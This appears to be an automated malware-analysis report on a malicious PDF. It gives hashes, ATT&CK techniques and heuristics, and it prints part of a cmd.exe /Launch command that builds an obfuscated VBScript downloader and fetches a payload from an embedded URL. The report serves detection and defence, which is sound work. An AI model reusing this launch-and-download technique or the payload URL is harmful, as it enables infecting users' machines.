PDF malware analysis — malicious · cd1c5debe195cb27

MALICIOUS

PDF

780 B

MD5: 970059169e18da7ccf903ebeb21276ef SHA-1: 88fe6ac8df9e2e5d6771237af84c30394476fc64 SHA-256: cd1c5debe195cb27cc1de432da54f383401046ae1cbea953ddc19c80f81317e8

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command is used to create a VBScript file named 'm.vbs' by concatenating strings and then executing it. The VBScript likely downloads and executes a second-stage payload from the embedded URL http://recky.in/x/img.php?d=1. The embedded script payload heuristic further supports this malicious intent.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://recky.in/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000067.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x67	63 bytes

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